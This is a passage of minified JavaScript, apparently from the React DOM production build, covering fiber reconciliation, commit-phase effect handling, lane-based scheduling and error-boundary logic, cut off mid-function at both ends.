Mr(n),null;if(l=!!(128&n.flags),null===(i=o.rendering))if(l)Tr(o,!1);else{if(0!==Es||null!==e&&128&e.flags)for(e=n.child;null!==e;){if(null!==(i=ft(e))){for(n.flags|=128,Tr(o,!1),null!==(l=i.updateQueue)&&(n.updateQueue=l,n.flags|=4),n.subtreeFlags=0,l=r,r=n.child;null!==r;)e=l,(o=r).flags&=14680066,null===(i=o.alternate)?(o.childLanes=0,o.lanes=e,o.child=null,o.subtreeFlags=0,o.memoizedProps=null,o.memoizedState=null,o.updateQueue=null,o.dependencies=null,o.stateNode=null):(o.childLanes=i.childLanes,o.lanes=i.lanes,o.child=i.child,o.subtreeFlags=0,o.deletions=null,o.memoizedProps=i.memoizedProps,o.memoizedState=i.memoizedState,o.updateQueue=i.updateQueue,o.type=i.type,e=i.dependencies,o.dependencies=null===e?null:{lanes:e.lanes,firstContext:e.firstContext}),r=r.sibling;return bn(Oi,1&Oi.current|2),n.child}e=e.sibling}null!==o.tail&&su()>Ms&&(n.flags|=128,l=!0,Tr(o,!1),n.lanes=4194304)}else{if(!l)if(null!==(e=ft(i))){if(n.flags|=128,l=!0,null!==(r=e.updateQueue)&&(n.updateQueue=r,n.flags|=4),Tr(o,!0),null===o.tail&&"hidden"===o.tailMode&&!i.alternate&&!ki)return Mr(n),null}else 2*su()-o.renderingStartTime>Ms&&1073741824!==r&&(n.flags|=128,l=!0,Tr(o,!1),n.lanes=4194304);o.isBackwards?(i.sibling=n.child,n.child=i):(null!==(r=o.last)?r.sibling=i:n.child=i,o.last=i)}return null!==o.tail?(n=o.tail,o.rendering=n,o.tail=n.sibling,o.renderingStartTime=su(),n.sibling=null,r=Oi.current,bn(Oi,l?1&r|2:1&r),n):(Mr(n),null);case 22:case 23:return Ss=xs.current,yn(xs),l=null!==n.memoizedState,null!==e&&null!==e.memoizedState!==l&&(n.flags|=8192),l&&1&n.mode?!!(1073741824&Ss)&&(Mr(n),6&n.subtreeFlags&&(n.flags|=8192)):Mr(n),null;case 24:case 25:return null}throw Error(t(156,n.tag))}function Rr(e,n,r){switch(Tn(n),n.tag){case 1:return wn(n.type)&&(yn(li),yn(ri)),65536&(e=n.flags)?(n.flags=-65537&e|128,n):null;case 3:return it(),yn(li),yn(ri),dt(),65536&(e=n.flags)&&!(128&e)?(n.flags=-65537&e|128,n):null;case 5:return ct(n),null;case 13:if(yn(Oi),null!==(e=n.memoizedState)&&null!==e.dehydrated){if(null===n.alternate)throw Error(t(340));Un()}return 65536&(e=n.flags)?(n.flags=-65537&e|128,n):null;case 19:return yn(Oi),null;case 4:return it(),null;case 10:return jn(n.type._context),null;case 22:case 23:return Ss=xs.current,yn(xs),null;default:return null}}function Dr(e,n){var t=e.ref;if(null!==t)if("function"==typeof t)try{t(null)}catch(t){zl(e,n,t)}else t.current=null}function Or(e,n,t){try{t()}catch(t){zl(e,n,t)}}function Ir(e,n,t){var r=n.updateQueue;if(null!==(r=null!==r?r.lastEffect:null)){var l=r=r.next;do{if((l.tag&e)===e){var a=l.destroy;l.destroy=void 0,void 0!==a&&Or(n,t,a)}l=l.next}while(l!==r)}}function Ur(e,n){if(null!==(n=null!==(n=n.updateQueue)?n.lastEffect:null)){var t=n=n.next;do{if((t.tag&e)===e){var r=t.create;t.destroy=r()}t=t.next}while(t!==n)}}function Vr(e){var n=e.ref;if(null!==n){var t=e.stateNode;e.tag,e=t,"function"==typeof n?n(e):n.current=e}}function Ar(e){var n=e.alternate;null!==n&&(e.alternate=null,Ar(n)),e.child=null,e.deletions=null,e.sibling=null,5===e.tag&&null!==(n=e.stateNode)&&(delete n[Ko],delete n[Yo],delete n[Go],delete n[Zo],delete n[Jo]),e.stateNode=null,e.return=null,e.dependencies=null,e.memoizedProps=null,e.memoizedState=null,e.pendingProps=null,e.stateNode=null,e.updateQueue=null}function Br(e){return 5===e.tag||3===e.tag||4===e.tag}function Wr(e){e:for(;;){for(;null===e.sibling;){if(null===e.return||Br(e.return))return null;e=e.return}for(e.sibling.return=e.return,e=e.sibling;5!==e.tag&&6!==e.tag&&18!==e.tag;){if(2&e.flags)continue e;if(null===e.child||4===e.tag)continue e;e.child.return=e,e=e.child}if(!(2&e.flags))return e.stateNode}}function Hr(e,n,t){var r=e.tag;if(5===r||6===r)e=e.stateNode,n?8===t.nodeType?t.parentNode.insertBefore(e,n):t.insertBefore(e,n):(8===t.nodeType?(n=t.parentNode).insertBefore(e,t):(n=t).appendChild(e),null!=(t=t._reactRootContainer)||null!==n.onclick||(n.onclick=un));else if(4!==r&&null!==(e=e.child))for(Hr(e,n,t),e=e.sibling;null!==e;)Hr(e,n,t),e=e.sibling}function Qr(e,n,t){var r=e.tag;if(5===r||6===r)e=e.stateNode,n?t.insertBefore(e,n):t.appendChild(e);else if(4!==r&&null!==(e=e.child))for(Qr(e,n,t),e=e.sibling;null!==e;)Qr(e,n,t),e=e.sibling}function jr(e,n,t){for(t=t.child;null!==t;)$r(e,n,t),t=t.sibling}function $r(e,n,t){if(vu&&"function"==typeof vu.onCommitFiberUnmount)try{vu.onCommitFiberUnmount(gu,t)}catch(e){}switch(t.tag){case 5:is||Dr(t,n);case 6:var r=ds,l=ps;ds=null,jr(e,n,t),ps=l,null!==(ds=r)&&(ps?(e=ds,t=t.stateNode,8===e.nodeType?e.parentNode.removeChild(t):e.removeChild(t)):ds.removeChild(t.stateNode));break;case 18:null!==ds&&(ps?(e=ds,t=t.stateNode,8===e.nodeType?cn(e.parentNode,t):1===e.nodeType&&cn(e,t),ce(e)):cn(ds,t.stateNode));break;case 4:r=ds,l=ps,ds=t.stateNode.containerInfo,ps=!0,jr(e,n,t),ds=r,ps=l;break;case 0:case 11:case 14:case 15:if(!is&&null!==(r=t.updateQueue)&&null!==(r=r.lastEffect)){l=r=r.next;do{var a=l,u=a.destroy;a=a.tag,void 0!==u&&(2&a||4&a)&&Or(t,n,u),l=l.next}while(l!==r)}jr(e,n,t);break;case 1:if(!is&&(Dr(t,n),"function"==typeof(r=t.stateNode).componentWillUnmount))try{r.props=t.memoizedProps,r.state=t.memoizedState,r.componentWillUnmount()}catch(e){zl(t,n,e)}jr(e,n,t);break;case 21:jr(e,n,t);break;case 22:1&t.mode?(is=(r=is)||null!==t.memoizedState,jr(e,n,t),is=r):jr(e,n,t);break;default:jr(e,n,t)}}function qr(e){var n=e.updateQueue;if(null!==n){e.updateQueue=null;var t=e.stateNode;null===t&&(t=e.stateNode=new ss),n.forEach((function(n){var r=Ll.bind(null,e,n);t.has(n)||(t.add(n),n.then(r,r))}))}}function Kr(e,n,r){if(null!==(r=n.deletions))for(var l=0;l<r.length;l++){var a=r[l];try{var u=e,o=n,i=o;e:for(;null!==i;){switch(i.tag){case 5:ds=i.stateNode,ps=!1;break e;case 3:case 4:ds=i.stateNode.containerInfo,ps=!0;break e}i=i.return}if(null===ds)throw Error(t(160));$r(u,o,a),ds=null,ps=!1;var s=a.alternate;null!==s&&(s.return=null),a.return=null}catch(e){zl(a,n,e)}}if(12854&n.subtreeFlags)for(n=n.child;null!==n;)Yr(n,e),n=n.sibling}function Yr(e,n,r){var l=e.alternate;switch(r=e.flags,e.tag){case 0:case 11:case 14:case 15:if(Kr(n,e),Xr(e),4&r){try{Ir(3,e,e.return),Ur(3,e)}catch(n){zl(e,e.return,n)}try{Ir(5,e,e.return)}catch(n){zl(e,e.return,n)}}break;case 1:Kr(n,e),Xr(e),512&r&&null!==l&&Dr(l,l.return);break;case 5:if(Kr(n,e),Xr(e),512&r&&null!==l&&Dr(l,l.return),32&e.flags){var a=e.stateNode;try{Ra(a,"")}catch(n){zl(e,e.return,n)}}if(4&r&&null!=(a=e.stateNode)){var o=e.memoizedProps,i=null!==l?l.memoizedProps:o,s=e.type,c=e.updateQueue;if(e.updateQueue=null,null!==c)try{"input"===s&&"radio"===o.type&&null!=o.name&&k(a,o),R(s,i);var f=R(s,o);for(i=0;i<c.length;i+=2){var d=c[i],p=c[i+1];"style"===d?M(a,p):"dangerouslySetInnerHTML"===d?Fa(a,p):"children"===d?Ra(a,p):u(a,d,p,f)}switch(s){case"input":w(a,o);break;case"textarea":N(a,o);break;case"select":var m=a._wrapperState.wasMultiple;a._wrapperState.wasMultiple=!!o.multiple;var h=o.value;null!=h?E(a,!!o.multiple,h,!1):m!==!!o.multiple&&(null!=o.defaultValue?E(a,!!o.multiple,o.defaultValue,!0):E(a,!!o.multiple,o.multiple?[]:"",!1))}a[Yo]=o}catch(n){zl(e,e.return,n)}}break;case 6:if(Kr(n,e),Xr(e),4&r){if(null===e.stateNode)throw Error(t(162));a=e.stateNode,o=e.memoizedProps;try{a.nodeValue=o}catch(n){zl(e,e.return,n)}}break;case 3:if(Kr(n,e),Xr(e),4&r&&null!==l&&l.memoizedState.isDehydrated)try{ce(n.containerInfo)}catch(n){zl(e,e.return,n)}break;case 4:default:Kr(n,e),Xr(e);break;case 13:Kr(n,e),Xr(e),8192&(a=e.child).flags&&(o=null!==a.memoizedState,a.stateNode.isHidden=o,!o||null!==a.alternate&&null!==a.alternate.memoizedState||(Ts=su())),4&r&&qr(e);break;case 22:if(d=null!==l&&null!==l.memoizedState,1&e.mode?(is=(f=is)||d,Kr(n,e),is=f):Kr(n,e),Xr(e),8192&r){if(f=null!==e.memoizedState,(e.stateNode.isHidden=f)&&!d&&1&e.mode)for(cs=e,d=e.child;null!==d;){for(p=cs=d;null!==cs;){switch(h=(m=cs).child,m.tag){case 0:case 11:case 14:case 15:Ir(4,m,m.return);break;case 1:Dr(m,m.return);var g=m.stateNode;if("function"==typeof g.componentWillUnmount){r=m,n=m.return;try{l=r,g.props=l.memoizedProps,g.state=l.memoizedState,g.componentWillUnmount()}catch(e){zl(r,n,e)}}break;case 5:Dr(m,m.return);break;case 22:if(null!==m.memoizedState){el(p);continue}}null!==h?(h.return=m,cs=h):el(p)}d=d.sibling}e:for(d=null,p=e;;){if(5===p.tag){if(null===d){d=p;try{a=p.stateNode,f?"function"==typeof(o=a.style).setProperty?o.setProperty("display","none","important"):o.display="none":(s=p.stateNode,i=null!=(c=p.memoizedProps.style)&&c.hasOwnProperty("display")?c.display:null,s.style.display=T("display",i))}catch(n){zl(e,e.return,n)}}}else if(6===p.tag){if(null===d)try{p.stateNode.nodeValue=f?"":p.memoizedProps}catch(n){zl(e,e.return,n)}}else if((22!==p.tag&&23!==p.tag||null===p.memoizedState||p===e)&&null!==p.child){p.child.return=p,p=p.child;continue}if(p===e)break e;for(;null===p.sibling;){if(null===p.return||p.return===e)break e;d===p&&(d=null),p=p.return}d===p&&(d=null),p.sibling.return=p.return,p=p.sibling}}break;case 19:Kr(n,e),Xr(e),4&r&&qr(e);case 21:}}function Xr(e){var n=e.flags;if(2&n){try{e:{for(var r=e.return;null!==r;){if(Br(r)){var l=r;break e}r=r.return}throw Error(t(160))}switch(l.tag){case 5:var a=l.stateNode;32&l.flags&&(Ra(a,""),l.flags&=-33),Qr(e,Wr(e),a);break;case 3:case 4:var u=l.stateNode.containerInfo;Hr(e,Wr(e),u);break;default:throw Error(t(161))}}catch(n){zl(e,e.return,n)}e.flags&=-3}4096&n&&(e.flags&=-4097)}function Gr(e,n,t){cs=e,Zr(e,n,t)}function Zr(e,n,t){for(var r=!!(1&e.mode);null!==cs;){var l=cs,a=l.child;if(22===l.tag&&r){var u=null!==l.memoizedState||os;if(!u){var o=l.alternate,i=null!==o&&null!==o.memoizedState||is;o=os;var s=is;if(os=u,(is=i)&&!s)for(cs=l;null!==cs;)i=(u=cs).child,22===u.tag&&null!==u.memoizedState?nl(l):null!==i?(i.return=u,cs=i):nl(l);for(;null!==a;)cs=a,Zr(a,n,t),a=a.sibling;cs=l,os=o,is=s}Jr(e,n,t)}else 8772&l.subtreeFlags&&null!==a?(a.return=l,cs=a):Jr(e,n,t)}}function Jr(e,n,r){for(;null!==cs;){if(8772&(n=cs).flags){r=n.alternate;try{if(8772&n.flags)switch(n.tag){case 0:case 11:case 15:is||Ur(5,n);break;case 1:var l=n.stateNode;if(4&n.flags&&!is)if(null===r)l.componentDidMount();else{var a=n.elementType===n.type?r.memoizedProps:Gt(n.type,r.memoizedProps);l.componentDidUpdate(a,r.memoizedState,l.__reactInternalSnapshotBeforeUpdate)}var u=n.updateQueue;null!==u&&at(n,u,l);break;case 3:var o=n.updateQueue;if(null!==o){if(r=null,null!==n.child)switch(n.child.tag){case 5:case 1:r=n.child.stateNode}at(n,o,r)}break;case 5:var i=n.stateNode;if(null===r&&4&n.flags){r=i;var s=n.memoizedProps;switch(n.type){case"button":case"input":case"select":case"textarea":s.autoFocus&&r.focus();break;case"img":s.src&&(r.src=s.src)}}break;case 6:case 4:case 12:case 19:case 17:case 21:case 22:case 23:case 25:break;case 13:if(null===n.memoizedState){var c=n.alternate;if(null!==c){var f=c.memoizedState;if(null!==f){var d=f.dehydrated;null!==d&&ce(d)}}}break;default:throw Error(t(163))}is||512&n.flags&&Vr(n)}catch(e){zl(n,n.return,e)}}if(n===e){cs=null;break}if(null!==(r=n.sibling)){r.return=n.return,cs=r;break}cs=n.return}}function el(e){for(;null!==cs;){var n=cs;if(n===e){cs=null;break}var t=n.sibling;if(null!==t){t.return=n.return,cs=t;break}cs=n.return}}function nl(e){for(;null!==cs;){var n=cs;try{switch(n.tag){case 0:case 11:case 15:var t=n.return;try{Ur(4,n)}catch(e){zl(n,t,e)}break;case 1:var r=n.stateNode;if("function"==typeof r.componentDidMount){var l=n.return;try{r.componentDidMount()}catch(e){zl(n,l,e)}}var a=n.return;try{Vr(n)}catch(e){zl(n,a,e)}break;case 5:var u=n.return;try{Vr(n)}catch(e){zl(n,u,e)}}}catch(e){zl(n,n.return,e)}if(n===e){cs=null;break}var o=n.sibling;if(null!==o){o.return=n.return,cs=o;break}cs=n.return}}function tl(){Ms=su()+500}function rl(){return 6&ys?su():-1!==Ws?Ws:Ws=su()}function ll(e){return 1&e.mode?2&ys&&0!==ws?ws&-ws:null!==Si.transition?(0===Hs&&(Hs=Z()),Hs):0!==(e=xu)?e:e=void 0===(e=window.event)?16:he(e.type):1}function al(e,n,r,l){if(50<As)throw As=0,Bs=null,Error(t(185));ee(e,r,l),2&ys&&e===bs||(e===bs&&(!(2&ys)&&(Ns|=r),4===Es&&cl(e,ws)),ul(e,l),1===r&&0===ys&&!(1&n.mode)&&(tl(),oi&&Nn()))}function ul(e,n){var t=e.callbackNode;!function(e,n){for(var t=e.suspendedLanes,r=e.pingedLanes,l=e.expirationTimes,a=e.pendingLanes;0<a;){var u=31-yu(a),o=1<<u,i=l[u];-1===i?o&t&&!(o&r)||(l[u]=X(o,n)):i<=n&&(e.expiredLanes|=o),a&=~o}}(e,n);var r=Y(e,e===bs?ws:0);if(0===r)null!==t&&uu(t),e.callbackNode=null,e.callbackPriority=0;else if(n=r&-r,e.callbackPriority!==n){if(null!=t&&uu(t),1===n)0===e.tag?function(e){oi=!0,zn(e)}(fl.bind(null,e)):zn(fl.bind(null,e)),$o((function(){!(6&ys)&&Nn()})),t=null;else{switch(te(r)){case 1:t=fu;break;case 4:t=du;break;case 16:default:t=pu;break;case 536870912:t=hu}t=Tl(t,ol.bind(null,e))}e.callbackPriority=n,e.callbackNode=t}}function ol(e,n){if(Ws=-1,Hs=0,6&ys)throw Error(t(327));var r=e.callbackNode;if(El()&&e.callbackNode!==r)return null;var l=Y(e,e===bs?ws:0);if(0===l)return null;if(30&l||l&e.expiredLanes||n)n=yl(e,l);else{n=l;var a=ys;ys|=2;var u=gl();for(bs===e&&ws===n||(Fs=null,tl(),ml(e,n));;)try{kl();break}catch(n){hl(e,n)}Qn(),hs.current=u,ys=a,null!==ks?n=0:(bs=null,ws=0,n=Es)}if(0!==n){if(2===n&&0!==(a=G(e))&&(l=a,n=il(e,a)),1===n)throw r=Cs,ml(e,0),cl(e,l),ul(e,su()),r;if(6===n)cl(e,l);else{if(a=e.current.alternate,!(30&l||function(e){for(var n=e;;){if(16384&n.flags){var t=n.updateQueue;if(null!==t&&null!==(t=t.stores))for(var r=0;r<t.length;r++){var l=t[r],a=l.getSnapshot;l=l.value;try{if(!wo(a(),l))return!1}catch(e){return!1}}}if(t=n.child,16384&n.subtreeFlags&&null!==t)t.return=n,n=t;else{if(n===e)break;for(;null===n.sibling;){if(null===n.return||n.return===e)return!0;n=n.return}n.sibling.return=n.return,n=n.sibling}}return!0}(a)||(n=yl(e,l),2===n&&(u=G(e),0!==u&&(l=u,n=il(e,u))),1!==n)))throw r=Cs,ml(e,0),cl(e,l),ul(e,su()),r;switch(e.finishedWork=a,e.finishedLanes=l,n){case 0:case 1:throw Error(t(345));case 2:case 5:xl(e,Ls,Fs);break;case 3:if(cl(e,l),(130023424&l)===l&&10<(n=Ts+500-su())){if(0!==Y(e,0))break;if(((a=e.suspendedLanes)&l)!==l){rl(),e.pingedLanes|=e.suspendedLanes&a;break}e.timeoutHandle=Ho(xl.bind(null,e,Ls,Fs),n);break}xl(e,Ls,Fs);break;case 4:if(cl(e,l),(4194240&l)===l)break;for(n=e.eventTimes,a=-1;0<l;){var o=31-yu(l);u=1<<o,(o=n[o])>a&&(a=o),l&=~u}if(l=a,10<(l=(120>(l=su()-l)?120:480>l?480:1080>l?1080:1920>l?1920:3e3>l?3e3:4320>l?4320:1960*ms(l/1960))-l)){e.timeoutHandle=Ho(xl.bind(null,e,Ls,Fs),l);break}xl(e,Ls,Fs);break;default:throw Error(t(329))}}}return ul(e,su()),e.callbackNode===r?ol.bind(null,e):null}function il(e,n){var t=_s;return e.current.memoizedState.isDehydrated&&(ml(e,n).flags|=256),2!==(e=yl(e,n))&&(n=Ls,Ls=t,null!==n&&sl(n)),e}function sl(e){null===Ls?Ls=e:Ls.push.apply(Ls,e)}function cl(e,n){for(n&=~Ps,n&=~Ns,e.suspendedLanes|=n,e.pingedLanes&=~n,e=e.expirationTimes;0<n;){var t=31-yu(n),r=1<<t;e[t]=-1,n&=~r}}function fl(e){if(6&ys)throw Error(t(327));El();var n=Y(e,0);if(!(1&n))return ul(e,su()),null;var r=yl(e,n);if(0!==e.tag&&2===r){var l=G(e);0!==l&&(n=l,r=il(e,l))}if(1===r)throw r=Cs,ml(e,0),cl(e,n),ul(e,su()),r;if(6===r)throw Error(t(345));return e.finishedWork=e.current.alternate,e.finishedLanes=n,xl(e,Ls,Fs),ul(e,su()),null}function dl(e,n){var t=ys;ys|=1;try{return e(n)}finally{0===(ys=t)&&(tl(),oi&&Nn())}}function pl(e){null!==Us&&0===Us.tag&&!(6&ys)&&El();var n=ys;ys|=1;var t=vs.transition,r=xu;try{if(vs.transition=null,xu=1,e)return e()}finally{xu=r,vs.transition=t,!(6&(ys=n))&&Nn()}}function ml(e,n){e.finishedWork=null,e.finishedLanes=0;var t=e.timeoutHandle;if(-1!==t&&(e.timeoutHandle=-1,Qo(t)),null!==ks)for(t=ks.return;null!==t;){var r=t;switch(Tn(r),r.tag){case 1:null!=(r=r.type.childContextTypes)&&(yn(li),yn(ri));break;case 3:it(),yn(li),yn(ri),dt();break;case 5:ct(r);break;case 4:it();break;case 13:case 19:yn(Oi);break;case 10:jn(r.type._context);break;case 22:case 23:Ss=xs.current,yn(xs)}t=t.return}if(bs=e,ks=e=Rl(e.current,null),ws=Ss=n,Es=0,Cs=null,Ps=Ns=zs=0,Ls=_s=null,null!==_i){for(n=0;n<_i.length;n++)if(null!==(r=(t=_i[n]).interleaved)){t.interleaved=null;var l=r.next,a=t.pending;if(null!==a){var u=a.next;a.next=l,r.next=u}t.pending=r}_i=null}return e}function hl(e,n){for(;;){var r=ks;try{if(Qn(),Ui.current=Ki,Qi){for(var l=Bi.memoizedState;null!==l;){var a=l.queue;null!==a&&(a.pending=null),l=l.next}Qi=!1}if(Ai=0,Hi=Wi=Bi=null,ji=!1,$i=0,gs.current=null,null===r||null===r.return){Es=1,Cs=n,ks=null;break}e:{var u=e,o=r.return,i=r,s=n;if(n=ws,i.flags|=32768,null!==s&&"object"==typeof s&&"function"==typeof s.then){var c=s,f=i,d=f.tag;if(!(1&f.mode||0!==d&&11!==d&&15!==d)){var p=f.alternate;p?(f.updateQueue=p.updateQueue,f.memoizedState=p.memoizedState,f.lanes=p.lanes):(f.updateQueue=null,f.memoizedState=null)}var m=sr(o);if(null!==m){m.flags&=-257,cr(m,o,i,0,n),1&m.mode&&ir(u,c,n),s=c;var h=(n=m).updateQueue;if(null===h){var g=new Set;g.add(s),n.updateQueue=g}else h.add(s);break e}if(!(1&n)){ir(u,c,n),vl();break e}s=Error(t(426))}else if(ki&&1&i.mode){var v=sr(o);if(null!==v){!(65536&v.flags)&&(v.flags|=256),cr(v,o,i,0,n),Vn(rr(s,i));break e}}u=s=rr(s,i),4!==Es&&(Es=2),null===_s?_s=[u]:_s.push(u),u=o;do{switch(u.tag){case 3:u.flags|=65536,n&=-n,u.lanes|=n,rt(u,ur(0,s,n));break e;case 1:i=s;var y=u.type,b=u.stateNode;if(!(128&u.flags||"function"!=typeof y.getDerivedStateFromError&&(null===b||"function"!=typeof b.componentDidCatch||null!==Os&&Os.has(b)))){u.flags|=65536,n&=-n,u.lanes|=n,rt(u,or(u,i,n));break e}}u=u.return}while(null!==u)}Sl(r)}catch(e){n=e,ks===r&&null!==r&&(ks=r=r.return);continue}break}}function gl(){var e=hs.current;return hs.current=Ki,null===e?Ki:e}function vl(){0!==Es&&3!==Es&&2!==Es||(Es=4),null===bs||!(268435455&zs)&&!(268435455&Ns)||cl(bs,ws)}function yl(e,n){var r=ys;ys|=2;var l=gl();for(bs===e&&ws===n||(Fs=null,ml(e,n));;)try{bl();break}catch(n){hl(e,n)}if(Qn(),ys=r,hs.current=l,null!==ks)throw Error(t(261));return bs=null,ws=0,Es}function bl(){for(;null!==ks;)wl(ks)}function kl(){for(;null!==ks&&!ou();)wl(ks)}function wl(e){var n=Qs(e.alternate,e,Ss);e.memoizedProps=e.pendingProps,null===n?Sl(e):ks=n,gs.current=null}function Sl(e){var n=e;do{var t=n.alternate;if(e=n.return,32768&n.flags){if(null!==(t=Rr(t,n)))return t.flags&=32767,void(ks=t);if(null===e)return Es=6,void(ks=null);e.flags|=32768,e.subtreeFlags=0,e.deletions=null}else if(null!==(t=Fr(t,n,Ss)))return void(ks=t);if(null!==(n=n.sibling))return void(ks=n);ks=n=e}while(null!==n);0===Es&&(Es=5)}function xl(e,n,r){var l=xu,a=vs.transition;try{vs.transition=null,xu=1,function(e,n,r,l){do{El()}while(null!==Us);if(6&ys)throw Error(t(327));r=e.finishedWork;var a=e.finishedLanes;if(null===r)return null;if(e.finishedWork=null,e.finishedLanes=0,r===e.current)throw Error(t(177));e.callbackNode=null,e.callbackPriority=0;var u=r.lanes|r.childLanes;if(function(e,n){var t=e.pendingLanes&~n;e.pendingLanes=n,e.suspendedLanes=0,e.pingedLanes=0,e.expiredLanes&=n,e.mutableReadLanes&=n,e.entangledLanes&=n,n=e.entanglements;var r=e.eventTimes;for(e=e.expirationTimes;0<t;){var l=31-yu(t),a=1<<l;n[l]=0,r[l]=-1,e[l]=-1,t&=~a}}(e,u),e===bs&&(ks=bs=null,ws=0),!(2064&r.subtreeFlags)&&!(2064&r.flags)||Is||(Is=!0,Tl(pu,(function(){return El(),null}))),u=!!(15990&r.flags),15990&r.subtreeFlags||u){u=vs.transition,vs.transition=null;var o=xu;xu=1;var i=ys;ys|=4,gs.current=null,function(e,n){if(Bo=Ru,Be(e=Ae())){if("selectionStart"in e)var r={start:e.selectionStart,end:e.selectionEnd};else e:{var l=(r=(r=e.ownerDocument)&&r.defaultView||window).getSelection&&r.getSelection();if(l&&0!==l.rangeCount){r=l.anchorNode;var a=l.anchorOffset,u=l.focusNode;l=l.focusOffset;try{r.nodeType,u.nodeType}catch(e){r=null;break e}var o=0,i=-1,s=-1,c=0,f=0,d=e,p=null;n:for(;;){for(var m;d!==r||0!==a&&3!==d.nodeType||(i=o+a),d!==u||0!==l&&3!==d.nodeType||(s=o+l),3===d.nodeType&&(o+=d.nodeValue.length),null!==(m=d.firstChild);)p=d,d=m;for(;;){if(d===e)break n;if(p===r&&++c===a&&(i=o),p===u&&++f===l&&(s=o),null!==(m=d.nextSibling))break;p=(d=p).parentNode}d=m}r=-1===i||-1===s?null:{start:i,end:s}}else r=null}r=r||{start:0,end:0}}else r=null;for(Wo={focusedElem:e,selectionRange:r},Ru=!1,cs=n;null!==cs;)if(e=(n=cs).child,1028&n.subtreeFlags&&null!==e)e.return=n,cs=e;else for(;null!==cs;){n=cs;try{var h=n.alternate;if(1024&n.flags)switch(n.tag){case 0:case 11:case 15:case 5:case 6:case 4:case 17:break;case 1:if(null!==h){var g=h.memoizedProps,v=h.memoizedState,y=n.stateNode,b=y.getSnapshotBeforeUpdate(n.elementType===n.type?g:Gt(n.type,g),v);y.__reactInternalSnapshotBeforeUpdate=b}break;case 3:var k=n.stateNode.containerInfo;1===k.nodeType?k.textContent="":9===k.nodeType&&k.documentElement&&k.removeChild(k.documentElement);break;default:throw Error(t(163))}}catch(e){zl(n,n.return,e)}if(null!==(e=n.sibling)){e.return=n.return,cs=e;break}cs=n.return}h=fs,fs=!1}(e,r),Yr(r,e),We(Wo),Ru=!!Bo,Wo=Bo=null,e.current=r,Gr(r,e,a),iu(),ys=i,xu=o,vs.transition=u}else e.current=r;if(Is&&(Is=!1,Us=e,Vs=a),0===(u=e.pendingLanes)&&(Os=null),function(e){if(vu&&"function"==typeof vu.onCommitFiberRoot)try{vu.onCommitFiberRoot(gu,e,void 0,!(128&~e.current.flags))}catch(e){}}(r.stateNode),ul(e,su()),null!==n)for(l=e.onRecoverableError,r=0;r<n.length;r++)a=n[r],l(a.value,{componentStack:a.stack,digest:a.digest});if(Rs)throw Rs=!1,e=Ds,Ds=null,e;!!(1&Vs)&&0!==e.tag&&El(),1&(u=e.pendingLanes)?e===Bs?As++:(As=0,Bs=e):As=0,Nn()}(e,n,r,l)}finally{vs.transition=a,xu=l}return null}function El(){if(null!==Us){var e=te(Vs),n=vs.transition,r=xu;try{if(vs.transition=null,xu=16>e?16:e,null===Us)var l=!1;else{if(e=Us,Us=null,Vs=0,6&ys)throw Error(t(331));var a=ys;for(ys|=4,cs=e.current;null!==cs;){var u=cs,o=u.child;if(16&cs.flags){var i=u.deletions;if(null!==i){for(var s=0;s<i.length;s++){var c=i[s];for(cs=c;null!==cs;){var f=cs;switch(f.tag){case 0:case 11:case 15:Ir(8,f,u)}var d=f.child;if(null!==d)d.return=f,cs=d;else for(;null!==cs;){var p=(f=cs).sibling,m=f.return;if(Ar(f),f===c){cs=null;break}if(null!==p){p.return=m,cs=p;break}cs=m}}}var h=u.alternate;if(null!==h){var g=h.child;if(null!==g){h.child=null;do{var v=g.sibling;g.sibling=null,g=v}while(null!==g)}}cs=u}}if(2064&u.subtreeFlags&&null!==o)o.return=u,cs=o;else e:for(;null!==cs;){if(2048&(u=cs).flags)switch(u.tag){case 0:case 11:case 15:Ir(9,u,u.return)}var y=u.sibling;if(null!==y){y.return=u.return,cs=y;break e}cs=u.return}}var b=e.current;for(cs=b;null!==cs;){var k=(o=cs).child;if(2064&o.subtreeFlags&&null!==k)k.return=o,cs=k;else e:for(o=b;null!==cs;){if(2048&(i=cs).flags)try{switch(i.tag){case 0:case 11:case 15:Ur(9,i)}}catch(e){zl(i,i.return,e)}if(i===o){cs=null;break e}var w=i.sibling;if(null!==w){w.return=i.return,cs=w;break e}cs=i.return}}if(ys=a,Nn(),vu&&"function"==typeof vu.onPostCommitFiberRoot)try{vu.onPostCommitFiberRoot(gu,e)}catch(e){}l=!0}return l}finally{xu=r,vs.transition=n}}return!1}function Cl(e,n,t){e=nt(e,n=ur(0,n=rr(t,n),1),1),n=rl(),null!==e&&(ee(e,1,n),ul(e,n))}function zl(e,n,t){if(3===e.tag)Cl(e,e,t);else for(;null!==n;){if(3===n.tag){Cl(n,e,t);break}if(1===n.tag){var r=n.stateNode;if("function"==typeof n.type.getDerivedStateFromError||"function"==typeof r.componentDidCatch&&(null===Os||!Os.has(r))){n=nt(n,e=or(n,e=rr(t,e),1),1),e=rl(),null!==n&&(ee(n,1,e),ul(n,e));break}}n=n.return}}function Nl(e,n,t){var r=e.pingCache;null!==r&&r.delete(n),n=rl(),e.pingedLanes|=e.suspendedLanes&t,bs===e&&(ws&t)===t&&(4===Es||3===Es&&(130023424&ws)===ws&&500>su()-Ts?ml(e,0):Ps|=t),ul(e,n)}function Pl(e,n){0===n&&(1&e.mode?(n=Su,!(130023424&(Su<<=1))&&(Su=4194304)):n=1);var t=rl();null!==(e=Gn(e,n))&&(ee(e,n,t),ul(e,t))}function _l(e){var n=e.memoizedState,t=0;null!==n&&(t=n.retryLane),Pl(e,t)}function Ll(e,n){var r=0;switch(e.tag){case 13:var l=e.stateNode,a=e.memoizedState;null!==a&&(r=a.retryLane);break;case 19:l=e.stateNode;break;default:throw Error(t(314))}null!==l&&l.delete(n),Pl(e,r)}function Tl(e,n){return au(e,n)}function Ml(e,n,t,r){this.tag=e,this.key=t,this.sibling=this.child=this.return=this.stateNode=this.type=this.elementType=null,this.index=0,this.ref=null,this.pendingProps=n,this.dependencies=this.memoizedState=this.updateQueue=this.memoizedProps=null,this.mode=r,this.subtreeFlags=this.flags=0,this.deletions=null,this.childLanes=this.lanes=0,this.alternate=null}function Fl(e){return!(!(e=e.prototype)||!e.isReactComponent)}function Rl(e,n){var t=e.alternate;return 